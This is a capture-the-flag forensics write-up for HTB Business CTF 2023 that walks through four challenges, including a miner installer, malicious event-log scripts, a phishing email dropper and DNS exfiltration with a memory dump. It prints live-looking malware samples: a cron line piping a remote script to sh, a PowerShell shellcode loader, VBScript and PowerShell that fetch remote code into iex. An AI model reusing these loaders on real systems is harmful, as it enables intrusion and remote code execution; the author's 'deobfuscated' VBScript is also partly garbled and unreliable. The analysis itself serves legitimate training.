HTB Business CTF 2023: The Great Escape

Forensics

Red Miners

In the race for Vitalium on Mars, the villainous Board of Arodor resorted to desperate measures, needing funds for their mining attempts. They devised a botnet specifically crafted to mine cryptocurrency covertly. We stumbled upon a sample of Arodor's miner's installer on our server. Recognizing the gravity of the situation, we launched a thorough investigation. With you as its leader, you need to unravel the inner workings of the installation mechanism. The discovery served as a turning point, revealing the extent of Arodor's desperation. However, the battle for Vitalium continued, urging us to remain vigilant and adapt our cyber defences to counter future threats.

forensics_red_miners.zip

Looking at the Bash file, my first thought is to search for HTB since that's typically part of their flag format. One hit is this line:

local url="http://tossacoin.htb/cGFydDI9Il90aDMxcl93NHkiCg=="

Using CyberChef on the base64 portion of the string, we get the following:

part2="_th31r_w4y"

We do the same thing with this line:

echo '* * * * * $LDR http://tossacoin.htb/ex.sh | sh & echo -n cGFydDE9IkhUQnttMW4xbmciCg==|base64 -d > /dev/null 2>&1'

Which gives us:

part1="HTB{m1n1ng"

Those are the only relevant portions mentioning HTB, so next I looked for more base64 usage and found this:

dest=$(echo "X3QwX200cnN9Cg=="|base64 -d)

Which decodes to the final part of the flag:

_t0_m4rs}

Answer: HTB{m1n1ng_th31r_w4y_t0_m4rs}

Scripts and Formulas

After the last site UNZ used to rely on for the majority of Vitalium mining ran dry, the UNZ hired a local geologist to examine possible sites that were used in the past for secondary mining operations. However, after finishing the examinations, and the geologist was ready to hand in his reports, he mysteriously went missing! After months, a mysterious invoice regarding his examinations was brought up to the Department. Being new to the job, the clerk wasn't aware of the past situation and opened the Invoice. Now all of a sudden, the Arodor faction is really close to taking the lead on Vitalium mining! Given some Logs from the Clerk's Computer and the Invoice, pinpoint the intrusion methods used and how the Arodor faction gained access! To get the flag you need to answer the questions from the docker instance.

forensics_scripts_and_formulas

After spawning the Docker instance and connecting with nc 83.136.251.112 30317, we get the first question:

  1. What program is being copied, renamed, and what is the final name? (Eg: notepad.exe:picture.jpeg)

I used PowerShell to do this instead of the Windows Event Viewer GUI. After messing around with it for a while, I came up with the following:

$FormatEnumerationLimit = -1
$OutputFile = "./_matching_events.log"
$WindowWidth = $Host.UI.RawUI.BufferSize.Width

# Delete the file if it exists
if (Test-Path -Path $OutputFile) {
    Remove-Item -Path $OutputFile
}

Get-WinEvent -Path .\* | foreach {
    if ($_.Message -match '(copy|rename)') {
        $EventProperties = @{
            TimeCreated = $_.TimeCreated
            EventID = $_.Id
            Message = $_.Message
            ApplicationName = $_.Properties[0].Value
            FilePath = $_.Properties[1].Value
        }
        $EventProperties | Format-List | Out-String | Out-File -Append -FilePath $OutputFile
        Add-Content -Path $OutputFile -Value ("=" * $WindowWidth)
    }
}

The output had one bit that was pretty interesting right off the bat for event ID 4104:

Creating Scriptblock text (1 of 1):
function func_get_proc_address {
  Param ($var_module, $var_procedure)		
  $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { 
$_.GlobalAssemblyCachGetType('Microsoft.Win32.UnsafeNativeMethods')
  $var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] 
@('System.Runtime.InteropServices.Haring'))
  return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object 
System.Runtime.InteropSerr_procedure))
}

function func_get_delegate_type {
  Param (
    [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
    [Parameter(Position = 1)] [Type] $var_return_type = [Void]
  )

  $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object 
System.Reflection.AssemblyNamestem.MulticastDelegate])
  $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', 
[System.Reflection.CallingConventions]:aged')
  $var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, 
$var_parameteaged')

  return $var_type_builder.CreateType()
}

[Byte[]]$var_code = [System.Convert]::FromBase64String('32ugx9PL7yMjI2JyYnNxcnVrEvFGa6hxQ2uocTtrqHEDa6hR
c2sslGlpbhLqaxLjjx9CXyEPA2Li6i5iIuLBznFicmuocQOoYR9rIvNFols7KCEsplEjIyOoo6sjIyNrpuNXRGsi86hrO3NnqGMDaiLz
wHVuEupr3OpiqBerayL1axLjYuLqLo9iIuIbw1bSbyBvBytmGvJW+3tnqGMHaiLzRWKoL2tnqGM/aiLzYqgnq2si82J7Ynt9enlie2J6
YnlroM8DYnHcw3tienlrqDHKaNzc3H5qnVRQEXwQESMjYnVqqsVros+DIiMjaqrGap8hIzenbmnlF2J3aqrHb6rSYplvVAUk3PZvqslL
IiIjI3pimQqjSCPc9kkpYn1zc24S6m4S42vc42uq4Wvc42uq4mKZySz8w9z2a6rkSTNie2+qwWuq2mKZuoZXQtz2puNXKWrc7VbGy7Aj
IyNroM8za6rBbhLqSSdie2uq2mKZIfrrfNz2oNsjXXZroOcDfarVSWNieksjMyMjYntrqtFrEupimXuHcMbc9muq4Gqq5G4S6mqq02uq
+Wuq2mKZIfrrfNz2oNsjXgt7YnR6SyNjIyNie0kjeWKZKAwsE9z2dHpimVZNbkLc9mrc7cof3NzcayLgawrla6bVVpdi3MR7SSN6auTh
05aBddz2')

for ($x = 0; $x -lt $var_code.Count; $x++) {
  $var_code[$x] = $var_code[$x] -bxor 35
}

$var_va = 
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address 
kernel3ntPtr])))
$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)

$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, 
(func_get_deleoid])))
$var_runme.Invoke([IntPtr]::Zero)


ScriptBlock ID: a161d800-a564-40a3-aad8-4f9e02e966f7

There were a lot of irrelevant (to this question) firewall changes being made in the logs, so I changed the if statement to reduce them down to make it easier to manually parse over:

if ($_.Message -match '(copy|rename)' -and $_.Message -notmatch 'Windows Defender Firewall')

I was able to deobfuscate the VBScript code somewhat to get the following:

Function ZbVxxAHCsiTnKpIJ()
    Dim yNSlalZeGAsokjsP
    Dim pJmLeYiULjageWIP
    Dim cMtARTHTmbqbxauA 
    Dim bZzPBAGNtCswuUoo
    Dim QlAtSUbRwRFNlEjX

    Dim objShell
    Set objShell = WScript.CreateObject("WScript.Shell")

    yNSlalZeGAsokjsP = LLdunAaXwVgKfowf("BcV:L\XwFiInDdDoXw7s1\9sNy4sIt9eGm") & "32" & LLdunAaXwVgKfowf("V312I\OwFiPnDdJo0wVsDp7oFw7e6r5sBhCeTl1lB\Ev81IU04") & "1.0" & LLdunAaXwVgKfowf("\9pMoBw7eTrMsDhKeVlOl1.WeMxUe")
    cMtARTHTmbqbxauA = yNSlalZeGAsokjsP & " " & LLdunAaXwVgKfowf("EK-MMe4RpHW JIb9FyG7pSZaQ6s56sYB IN-4XwMT OThL2i64dSGdEXe0CnNE 9Q-X6c4V ") & Chr(34) & LLdunAaXwVgKfowf("M0F$BWQuEKRrCBAlAY9 1JQ=65V QTL[KTCsEMKyRE4sTJ3tMY0eQAVmF9E.60Qt7KEeZTUxXD6t0LC.CF9eXAWn5HDcGMSoZOFdT2KiCQ3n0KNgFUN]5YP:3PY:BLLaQ2VsZMUcJAYi4MXiKCX.4I8gY2Ae0YItJYKsU8MtLZ9rMUZiM95nJH4gTDX(HZP[H4RsWZ7yOCKsMX2tNWIe02ZmOH8.BCVcE9SoAXHnP9QvDXJe3CJrD51t2LE]C2L:0M2:I66f616rSKCoFKXmMKAb3X9aGMSsWO4e") & "64" & LLdunAaXwVgKfowf("E1sFUtLBrDIiTXn9NgZG(ED'88") & "aHR0cHM6Ly9zaGVldHMuZ29vZ2xlYXBpcy5jb20vdjQvc3ByZWFkc2hlZXRzLzFIcEI0R3FxWXdJNlg3MXo0cDJFSzg4Rm9KanJzVzJES2JTa3gtcm81bFFRP2tleT1BSXphU3lEVXBqU2Y3UjFsMWRRb2hBNVF2OUVkeVdBM0tCT01jMFUmcmFuZ2VzPVNoZWV0MSFPMzcmaW5jbHVkZUdyaWREYXRhPXRydWU=" & LLdunAaXwVgKfowf("ECK5'1Y)44)UQ;2F$B7rNGe7AsNGpMV J2=QG XBi1BnYNv8So3XkNKe70-CGrO6e54sU8tZ9m6Le6FtI8hX1oTJdXF DD-LGuXMrUKiLC AA$CVuEBrBJl") & LLdunAaXwVgKfowf(";VQI$WN2pV0XaRDAyTQDlB8RoMOWaMQ9d71C I1G=XC1 JBM$XOFrSGBeL3Qs7HNp9ZG.DH0sOC1hQ15e8VNePHVtZ8RsMS5[") & "0" & LLdunAaXwVgKfowf("7010HGS]F6H.JTWdB0Na3CHtT27aW5W[") & "0" & LLdunAaXwVgKfowf("7Z10CS0]V4E.9H0rRO1oHJEw") & "D" & LLdunAaXwVgKfowf("YP7aQTYtE3UaYLX[") & "0" & LLdunAaXwVgKfowf("OPI0J12]JUK.TK7v7J0aRTGl9B2uFO7eV11sOEC[") & "0" & LLdunAaXwVgKfowf("VKB0X4U]VO2.ZMIf4FIoD02r82Mm5NNaNIVt2Z4tH3JeYWLd") & "V" & LLdunAaXwVgKfowf("F2aESlKEuR0e5Y;R4$UAdZIeBIcL5o51dPXeEW CK=4Q LS[M8sYHyE3s82t6YeAXmB2.12cXZo2PnZKvYEeOWrK9tQN]YQ:QQ:RZfK6rJIoQVmRRbBUa6RsHOeUZ") & "64" & LLdunAaXwVgKfowf("6934MPsZAt50rIFiUYn6Sg46(HG$JFpE7aNAyVHlL9oH0aQNdUX)VA;XK$YEmM4s59 87=PT FHnETe61wYM-SYo5Bb6VjHPe3DcHQtET 7SsQ0yIKs6Pt71eBTmJQ.7GiI5oT4.SDmUQeVDmAMoRZrUGyGAsG1tK7rM9ePMaUQmTT;YF$Z1mWTsIZ.5Ww4CrBZi1CtCNeTU(W0$0LdFXe2HcDDoBAd3HeXL,") & "0" & LLdunAaXwVgKfowf("Q8Z,409 12M$S2Zd5JAeVHYc6DNoEOCdEZZeOVB.9RYlTD3eP6HnB29g1VYtHC2hHIN)FND;20Z$KJ5mJZYsFHJ.I28p0VYo48Gs1V9i91DtEPNiLLUoP49n000 DC8=F7S") & "0" & LLdunAaXwVgKfowf("1;2$Fs1rV C=W Dn8e7wB-YoMbAjXeIc4tY SsFyAsItQeNmI.8iQoY.WsGt2rBe5aDm3rReEaBdPeArR(1nCe1wI-RoPbMjNeDcWt6 BsJy7sNt2eEm5.SiZoQ.JcKoMmYp8rWeDs6sZiWoRn0.TdPe8f6lIaYtJeXsBt2rDeHaNmF(3$NmRsO,7 M[AsQyPsKt9e7mR.Hi5oD.WcEoNmDp5rRe8sMsBi4oMn1.8cLoSmQpPrHeIsCsJi2oMnEmHo5dCeA]6:X:IdEeMcRoQmLpGr1eIs4sY)T)F;A$Md7aDtXaM F=B W$OsBrH.CrWeWaVdKtXo2eAnAd1(P)E;K$Gs7r2.2cYlZoVsEeM(O)0;I$Tm0sB.YcHlNoXs6eO(P)0;IWP$TIVd5MUaSLGtSPXa") & "|iex" & Chr(34)
    objShell.Run cMtARTHTmbqbxauA

Function LLdunAaXwVgKfowf(t)
    Dim msStr()
    ReDim msStr(Len(t))
    Dim jKaNZCemSwPDrmLT
    jKaNZCemSwPDrmLT = ""
    For i = 1 To UBound(msStr)
        msStr(i) = Mid(t, i, 1)
    Next
    For Each qqEPRvFjIuMSmDvM In msStr
        If qqEPRvFjIuMSmDvM = LCase(qqEPRvFjIuMSmDvM) And Not IsNumeric(qqEPRvFjIuMSmDvM) Then jKaNZCemSwPDrmLT = jKaNZCemSwPDrmLT + qqEPRvFjIuMSmDvM
    Next
    LLdunAaXwVgKfowf = jKaNZCemSwPDrmLT
  End Function
  
  Sub Main()
      ZbVxxAHCsiTnKpIJ()
  End Sub

  Main()
Function ZbVxxAHCsiTnKpIJ()
    Dim yNSlalZeGAsokjsP
    Dim pJmLeYiULjageWIP
    Dim cMtARTHTmbqbxauA
    Dim bZzPBAGNtCswuUoo
    Dim QlAtSUbRwRFNlEjX

    Dim objShell
    Set objShell = WScript.CreateObject("WScript.Shell")

    yNSlalZeGAsokjsP = GetURL("https://sheets.googleapis.com/v4/spreadsheets/1HpB4GqqWYwI6x71z4p2EK88FojrsW2DKbSkx-ro5lQ1lB/1.0/9pMoBw7eTrMsDhKeVlOl1.WeMxUe")
    cMtARTHTmbqbxauA = yNSlalZeGAsokjsP & " " & GetString("EK-MMe4RpHW JIb9FyG7pSZaQ6s56sYB IN-4XwMT OThL2i64dSGdEXe0CnNE 9Q-X6c4V ") & Chr(34) & GetString("M0F$BWQuEKRrCBAlAY9 1JQ=65V QTL[KTCsEMKyRE4sTJ3tMY0eQAVmF9E.60Qt7KEeZTUxXD6t0LC.CF9eXAWn5HDcGMSoZOFdT2KiCQ3n0KNgFUN]5YP:3PY:BLLaQ2VsZMUcJAYi4MXiKCX.4I8gY2Ae0YItJYKsU8MtLZ9rMUZiM95nJH4gTDX(HZP[H4RsWZ7yOCKsMX2tNWIe02ZmOH8.BCVcE9SoAXHnP9QvDXJe3CJrD51t2LE]C2L:0M2:I66f616rSKCoFKXmMKAb3X9aGMSsWO4e") & "64" & GetString("E1sFUtLBrDIiTXn9NgZG(ED'88") & "aHR0cHM6Ly9zaGVldHMuZ29vZ2xlYXBpcy5jb20vdjQvc3ByZWFkc2hlZXRzLzFIcEI0R3FxWXdJNlg3MXo0cDJFSzg4Rm9KanJzVzJES2JTa3gtcm81bFFRP2tleT1BSXphU3lEVXBqU2Y3UjFsMWRRb2hBNVF2OUVkeVdBM0tCT01jMFUmcmFuZ2VzPVNoZWV0MSFPMzcmaW5jbHVkZUdyaWREYXRhPXRydWU=") & GetString("ECK5'1Y)44)UQ;2F$B7rNGe7AsNGpMV J2=QG XBi1BnYNv8So3XkNKe70-CGrO6e54sU8tZ9m6Le6FtI8hX1oTJdXF DD-LGuXMrUKiLC AA$CVuEBrBJl") & GetString(";VQI$WN2pV0XaRDAyTQDlB8RoMOWaMQ9d71C I1G=XC1 JBM$XOFrSGBeL3Qs7HNp9ZG.DH0sOC1hQ15e8VNePHVtZ8RsMS5[") & "0" & GetString("7010HGS]F6H.JTWdB0Na3CHtT27aW5W[") & "0" & GetString("7Z10CS0]V4E.9H0rRO1oHJEw") & "D" & GetString("YP7aQTYtE3UaYLX[") & "0" & GetString("OPI0J12]JUK.TK7v7J0aRTGl9B2uFO7eV11sOEC[") & "0" & GetString("VKB0X4U]VO2.ZMIf4FIoD02r82Mm5NNaNIVt2Z4tH3JeYWLd") & "V" & GetString("F2aESlKEuR0e5Y;R4$UAdZIeBIcL5o51dPXeEW CK=4Q LS[M8sYHyE3s82t6YeAXmB2.12cXZo2PnZKvYEeOWrK9tQN]YQ:QQ:RZfK6rJIoQVmRRbBUa6RsHOeUZ") & "64" & GetString("6934MPsZAt50rIFiUYn6Sg46(HG$JFpE7aNAyVHlL9oH0aQNdUX)VA;XK$YEmM4s59 87=PT FHnETe61wYM-SYo5Bb6VjHPe3DcHQtET 7SsQ0yIKs6Pt71eBTmJQ.7GiI5oT4.SDmUQeVDmAMoRZrUGyGAsG1tK7rM9ePMaUQmTT;YF$Z1mWTsIZ.5Ww4CrBZi1CtCNeTU(W0$0LdFXe2HcDDoBAd3HeXL,") & "0" & GetString("Q8Z,409 12M$S2Zd5JAeVHYc6DNoEOCdEZZeOVB.9RYlTD3eP6HnB29g1VYtHC2hHIN)FND;20Z$KJ5mJZYsFHJ.I28p0VYo48Gs1V9i91DtEPNiLLUoP49n000 DC8=F7S") & "0" & GetString("1;2$Fs1rV C=W Dn8e7wB-YoMbAjXeIc4tY SsFyAsItQeNmI.8iQoY.WsGt2rBe5aDm3rReEaBdPeArR(1nCe1wI-RoPbMjNeDcWt6 BsJy7sNt2eEm5.SiZoQ.JcKoMmYp8rWeDs6sZiWoRn0.TdPe8f6lIaYtJeXsBt2rDeHaNmF(3$NmRsO,7 M[AsQyPsKt9e7mR.Hi5oD.WcEoNmDp5rRe8sMsBi4oMn1.8cLoSmQpPrHeIsCsJi2oMnEmHo5dCeA]6:X:IdEeMcRoQmLpGr1eIs4sY)T)F;A$Md7aDtXaM F=B W$OsBrH.CrWeWaVdKtXo2eAnAd1(P)E;K$Gs7r2.2cYlZoVsEeM(O)0;I$Tm0sB.YcHlNoXs6eO(P)0;IWP$TIVd5MUaSLGtSPXa") & "|iex" & Chr(34)
    objShell.Run cMtARTHTmbqbxauA
End Function

Function GetURL(t)
    Dim msStr()
    ReDim msStr(Len(t))
    Dim jKaNZCemSwPDrmLT
    jKaNZCemSwPDrmLT = ""
    For i = 1 To UBound(msStr)
        msStr(i) = Mid(t, i, 1)
    Next
    For Each qqEPRvFjIuMSmDvM In msStr
        If qqEPRvFjIuMSmDvM = LCase(qqEPRvFjIuMSmDvM) And Not IsNumeric(qqEPRvFjIuMSmDvM) Then jKaNZCemSwPDrmLT = jKaNZCemSwPDrmLT + qqEPRvFjIuMSmDvM
    Next
    GetURL = jKaNZCemSwPDrmLT
End Function

Sub Main()
    ZbVxxAHCsiTnKpIJ()
End Sub

Main()
Function ZbVxxAHCsiTnKpIJ()
    Dim scriptURL
    Dim command
    Dim shellCommand
    Dim shell

    Set shell = CreateObject("WScript.Shell")

    scriptURL = "https://sheets.googleapis.com/v4/spreadsheets/1HpB4GqqWYwI6x71z4p2EK88FojrsW2DKbSkx-ro5lQ1lB/1.0/9pMoBw7eTrMsDhKeVlOl1.WeMxUe"
    command = GetURL(scriptURL)
    shellCommand = command & "|iex"
    shell.Run shellCommand
End Function

Function GetURL(url)
    Dim modifiedURL
    Dim i

    modifiedURL = ""
    For i = 1 To Len(url)
        If IsAlphaNumeric(Mid(url, i, 1)) Then
            modifiedURL = modifiedURL & Mid(url, i, 1)
        End If
    Next

    GetURL = modifiedURL
End Function

Function IsAlphaNumeric(character)
    Dim asciiValue
    asciiValue = Asc(character)

    If (asciiValue >= 48 And asciiValue <= 57) Or _
        (asciiValue >= 65 And asciiValue <= 90) Or _
        (asciiValue >= 97 And asciiValue <= 122) Then
        IsAlphaNumeric = True
    Else
        IsAlphaNumeric = False
    End If
End Function

ZbVxxAHCsiTnKpIJ()

Hypercraft

This email seems to have come from one of our agents, Axel Knight, but Axel has been missing for weeks, and we believe him to be compromised. The email claims to have information that could be vital to our winning this war, but before we use it, we want to make sure it is safe to open. Analyze the given email and see if it's real, or if it's just the Arodorians trying to phish us, and find the flag.

hypercraft.eml

After opening the EML file with Outlook, we can see that there is an attached HTML file, [TOP SECRET] Arodorian Hypercraft.pdf.html. I opened the file in a browser and it automatically downloaded [TOP SECRET]Hypercraft Plans.zip. The ZIP file contained a JavaScript file, [TOP SECRET] Arodorian Hypercraft.pdf.js.

Decoded PowerShell command from JavaScript:

powershell -execution bypass "iex(New-Object System.IO.Compression.DeflateStream( [System.IO.MemoryStream] [convert]::FromBase64String('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'), [System.IO.Compression.CompressionMode]::DECOMPReSS) | ForEach{New-Object IO.StreamReader( $_, [System.Text.Encoding]::Ascii ) } ).readToEnd( )"

Project Redline

In the aftermath of a mysterious death in the United Nations of Zenium colony on Mars, during the Autopsy, the doctor uncovers a peculiar secret. Traces of a cyber attack are discovered on the victim's cybernetic implants, pointing to a covert infiltration by the Board of Arodor. Determined to reveal the truth, the doctor joins forces with a cyber forensics expert, tracing the attack's origins. As they delve deeper, they uncover a startling revelation. In the implant factory, a worker examined what they thought was leaked footage from Arodors cyber implant research. Unbeknownst to him, the intel was infected with malware, infecting the whole production line. Now, they must race against time to expose cybercriminals and prevent Mars's fragile peace from shattering again.

forensics_project_redline

This one is a bit of a bigger lift to parse through initially, as there are 16475 recorded packets in the capture. Luckily, 16338 (99.2%) are DNS, so we know that's likely how we're going to find the flag. Out of curiosity, I filtered for not dns to see what else there was, and it was all MDNS queries to a linked iPhone. There are a massive number of queries for A records, which is typically indicative of DNS exfil, so I decided to start there.

The site requested was pretending to be a Microsoft domain (https://microsoftcloudservices.com), but some research indicated that it was "malicious" for the purposes of this challenge. The domain was registered exclusively for the 2023 competition, and visiting the root domain redirects to a [Rick Roll](https://www.youtube.com/watch?v=dQw4w9WgXcQ). Attempting to compare the domains being requested over time shows some similarities:
  • The first subdomain, i.e. 6M3iCMhHvXoC8oNGbnbtTJbVfKLsF4nMFqstYU4UowoC8Y5LHJ6TxA95PbBfQ64, is always 64 characters long.
  • The first subdomain also only varies slowly over time, i.e. packet 6135 has the same first 7 characters as packet 1173. This makes me believe that it may be a form of encoded timestamp.
  • The first 3 subdomains are always 64 characters long, and the 4th is always 17 characters.

We also have memory.raw, which is a 2GB memory dump. I decided to give Volatility 3 a spin to see if we can find anything that will tell us how to decipher the DNS communications:

python3 -m pip install -U distorm3 yara pycrypto pillow openpyxl ujson pytz ipython capstone 2>/dev/null
git clone https://github.com/volatilityfoundation/volatility3.git
cd volatility3
# rm -rf ~/.cache/volatility3/data_*.cache
python3 vol.py -f /mnt/d/Programming/bits-and-bobbles/notes/assets/hackthebox/HTB-Business-CTF-2023/forensics_project_redline/memory.raw windows.pslist.PsList

We can see that the following programs were running:

PID     PPID    ImageFileName   Offset(V)       Threads Handles SessionId       Wow64   CreateTime      ExitTime        File output

4       0       System  0xad81e4479040  152     -       N/A     False   2023-06-13 22:32:27.000000      N/A     Disabled
124     4       Registry        0xad81e45d0040  4       -       N/A     False   2023-06-13 22:32:23.000000      N/A     Disabled
408     4       smss.exe        0xad81e889e040  2       -       N/A     False   2023-06-13 22:32:27.000000      N/A     Disabled
516     504     csrss.exe       0xad81e860c080  11      -       0       False   2023-06-13 22:32:31.000000      N/A     Disabled
592     504     wininit.exe     0xad81ead2a080  2       -       0       False   2023-06-13 22:32:31.000000      N/A     Disabled
616     584     csrss.exe       0xad81ead340c0  12      -       1       False   2023-06-13 22:32:31.000000      N/A     Disabled
696     584     winlogon.exe    0xad81ead66080  5       -       1       False   2023-06-13 22:32:31.000000      N/A     Disabled
740     592     services.exe    0xad81ead23080  6       -       0       False   2023-06-13 22:32:31.000000      N/A     Disabled
748     592     lsass.exe       0xad81ead81300  9       -       0       False   2023-06-13 22:32:31.000000      N/A     Disabled
880     740     svchost.exe     0xad81eade9240  18      -       0       False   2023-06-13 22:32:31.000000      N/A     Disabled
908     696     fontdrvhost.ex  0xad81eae1c140  5       -       1       False   2023-06-13 22:32:31.000000      N/A     Disabled
916     592     fontdrvhost.ex  0xad81eae1a140  5       -       0       False   2023-06-13 22:32:31.000000      N/A     Disabled
